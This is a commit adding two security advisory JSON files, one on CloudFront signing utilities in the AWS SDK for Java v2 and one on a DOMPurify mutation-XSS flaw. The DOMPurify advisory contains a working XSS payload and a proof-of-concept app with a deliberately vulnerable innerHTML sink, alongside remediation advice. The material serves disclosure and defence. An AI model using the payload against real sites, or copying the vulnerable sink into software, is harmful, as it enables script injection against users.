Skip to content

Commit 4bbe1ac

Browse files
1 parent b974126 commit 4bbe1ac

2 files changed

Lines changed: 126 additions & 0 deletions

File tree

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-443w-3rq3-5m5h",
4+
"modified": "2026-03-27T20:43:16Z",
5+
"published": "2026-03-27T20:43:16Z",
6+
"aliases": [],
7+
"summary": "AWS SDK for Java 2.0: Improper Handling of Special Characters in CloudFront Signing Utilities",
8+
"details": "### Summary\nThis notification is related to the [CloudFront signing utilities](https://github.com/aws/aws-sdk-java-v2/blob/master/services/cloudfront/src/main/java/software/amazon/awssdk/services/cloudfront/CloudFrontUtilities.java) in the AWS SDK for Java v2, which are used to generate Amazon CloudFront signed URLs and signed cookies. A defense-in-depth enhancement has been implemented to improve handling of special characters, such as double quotes and backslashes, in input values.\n### Impact\nThe CloudFront signing utilities build policy documents that define access restrictions for signed URLs and cookies. If an application passes unsanitized input containing special characters to these utilities, the resulting policy document may not reflect the application's intended access restrictions. While the SDK was functioning safely within the requirements of the shared responsibility model, additional safeguards have been added to support secure customer implementations. Applications that already follow AWS security best practices for input validation are not impacted.\n### Impacted versions: \n2.18.33 - 2.41.29\n### Patches\nOn 2026.02.16, an enhancement was made to AWS SDK for Java v2 version 2.41.30. The enhancement ensures that special characters in input values are correctly handled. We recommend upgrading to the latest version.\n### Workarounds\nNo workarounds are needed, but customers should ensure that your application is following security best practices:\n\n* Implement proper input validation in your application code before passing values to CloudFront signing utilities\n* Update to the latest AWS SDK release on a regular basis\n* Follow [AWS security best practices for SDK configuration](https://docs.aws.amazon.com/sdk-for-java/latest/developer-guide/security.html)\n\n### Resources\nIf there are any questions or comments about this advisory, contact [AWS/Amazon] Security via our vulnerability reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n### Acknowledgement\nAWS SDK for Java 2.0 thanks the Amazon Inspector Security Research team for identifying this issue and working with us through the coordinated process.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Maven",
19+
"name": "software.amazon.awssdk:cloudfront"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "2.18.33"
27+
},
28+
{
29+
"fixed": "2.41.30"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2.41.29"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/aws/aws-sdk-java-v2/security/advisories/GHSA-443w-3rq3-5m5h"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://docs.aws.amazon.com/sdk-for-java/latest/developer-guide/security.html"
47+
},
48+
{
49+
"type": "PACKAGE",
50+
"url": "https://github.com/aws/aws-sdk-java-v2"
51+
},
52+
{
53+
"type": "WEB",
54+
"url": "https://github.com/aws/aws-sdk-java-v2/blob/master/services/cloudfront/src/main/java/software/amazon/awssdk/services/cloudfront/CloudFrontUtilities.java"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-116",
60+
"CWE-20"
61+
],
62+
"severity": "HIGH",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-03-27T20:43:16Z",
65+
"nvd_published_at": null
66+
}
67+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h8r8-wccr-v5f2",
4+
"modified": "2026-03-27T20:41:29Z",
5+
"published": "2026-03-27T20:41:29Z",
6+
"aliases": [],
7+
"summary": "DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ",
8+
"details": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n <img src=x alt=\"</xmp><img src=x onerror=alert('expoc')>\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.\n- The sink reparses to include `<img src=\"x\" onerror=\"alert('expoc')\">`.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n<!doctype html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>expoc - DOMPurify SSR PoC</title>\n <style>\n :root {\n --bg: #f7f8fb;\n --panel: #ffffff;\n --line: #d8dce6;\n --text: #0f172a;\n --muted: #475569;\n --accent: #0ea5e9;\n }\n\n * {\n box-sizing: border-box;\n }\n\n body {\n margin: 0;\n font-family: \"SF Mono\", Menlo, Consolas, monospace;\n color: var(--text);\n background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n }\n\n main {\n max-width: 980px;\n margin: 28px auto;\n padding: 0 16px 20px;\n }\n\n h1 {\n margin: 0 0 10px;\n font-size: 1.45rem;\n }\n\n p {\n margin: 0;\n color: var(--muted);\n }\n\n .grid {\n display: grid;\n gap: 14px;\n margin-top: 16px;\n }\n\n .card {\n background: var(--panel);\n border: 1px solid var(--line);\n border-radius: 12px;\n padding: 14px;\n }\n\n label {\n display: block;\n margin-bottom: 7px;\n font-size: 0.85rem;\n color: var(--muted);\n }\n\n textarea,\n input,\n select,\n button {\n width: 100%;\n border: 1px solid var(--line);\n border-radius: 8px;\n padding: 9px 10px;\n font: inherit;\n background: #fff;\n }\n\n textarea {\n min-height: 110px;\n resize: vertical;\n }\n\n .row {\n display: grid;\n grid-template-columns: 1fr 230px;\n gap: 12px;\n }\n\n button {\n cursor: pointer;\n background: var(--accent);\n color: #fff;\n border-color: #0284c7;\n }\n\n #sink {\n min-height: 90px;\n border: 1px dashed #94a3b8;\n border-radius: 8px;\n padding: 10px;\n background: #f8fafc;\n }\n\n pre {\n margin: 0;\n white-space: pre-wrap;\n word-break: break-word;\n }\n\n .note {\n margin-top: 8px;\n font-size: 0.85rem;\n }\n\n .status-grid {\n display: grid;\n grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n gap: 8px;\n margin-top: 10px;\n }\n\n .status-item {\n border: 1px solid var(--line);\n border-radius: 8px;\n padding: 8px 10px;\n font-size: 0.85rem;\n background: #fff;\n }\n\n .status-item.vuln {\n border-color: #ef4444;\n background: #fef2f2;\n }\n\n .status-item.safe {\n border-color: #22c55e;\n background: #f0fdf4;\n }\n\n @media (max-width: 760px) {\n .row {\n grid-template-columns: 1fr;\n }\n }\n </style>\n </head>\n <body>\n <main>\n <h1>expoc - DOMPurify Server-Side PoC</h1>\n <p>\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n </p>\n\n <div class=\"grid\">\n <section class=\"card\">\n <label for=\"payload\">Payload</label>\n <textarea id=\"payload\"><img src=x alt=\"</script><img src=x onerror=alert('expoc')>\"></textarea>\n <div class=\"row\" style=\"margin-top: 10px;\">\n <div>\n <label for=\"wrapper\">Wrapper en sink</label>\n <select id=\"wrapper\">\n <option value=\"div\">div</option>\n <option value=\"textarea\">textarea</option>\n <option value=\"title\">title</option>\n <option value=\"style\">style</option>\n <option value=\"script\" selected>script</option>\n <option value=\"xmp\">xmp</option>\n <option value=\"iframe\">iframe</option>\n <option value=\"noembed\">noembed</option>\n <option value=\"noframes\">noframes</option>\n <option value=\"noscript\">noscript</option>\n </select>\n </div>\n <div style=\"display:flex;align-items:end;\">\n <button id=\"run\" type=\"button\">Sanitize + Render</button>\n </div>\n </div>\n <p class=\"note\">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>\n <div class=\"status-grid\">\n <div class=\"status-item vuln\">script (vulnerable)</div>\n <div class=\"status-item vuln\">xmp (vulnerable)</div>\n <div class=\"status-item vuln\">iframe (vulnerable)</div>\n <div class=\"status-item vuln\">noembed (vulnerable)</div>\n <div class=\"status-item vuln\">noframes (vulnerable)</div>\n <div class=\"status-item vuln\">noscript (vulnerable)</div>\n <div class=\"status-item safe\">div (no vulnerable)</div>\n <div class=\"status-item safe\">textarea (no vulnerable)</div>\n <div class=\"status-item safe\">title (no vulnerable)</div>\n <div class=\"status-item safe\">style (no vulnerable)</div>\n </div>\n </section>\n\n <section class=\"card\">\n <label>Sanitized response</label>\n <pre id=\"sanitized\">(empty)</pre>\n </section>\n\n <section class=\"card\">\n <label>Sink</label>\n <div id=\"sink\"></div>\n </section>\n </div>\n </main>\n\n <script>\n const payload = document.getElementById('payload');\n const wrapper = document.getElementById('wrapper');\n const run = document.getElementById('run');\n const sanitizedNode = document.getElementById('sanitized');\n const sink = document.getElementById('sink');\n\n run.addEventListener('click', async () => {\n const response = await fetch('/sanitize', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ input: payload.value })\n });\n\n const data = await response.json();\n const sanitized = data.sanitized || '';\n const w = wrapper.value;\n\n sanitizedNode.textContent = sanitized;\n sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';\n });\n </script>\n </body>\n</html>\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n<img width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" />\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "dompurify"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.3.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/cure53/DOMPurify"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-79"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-27T20:41:29Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)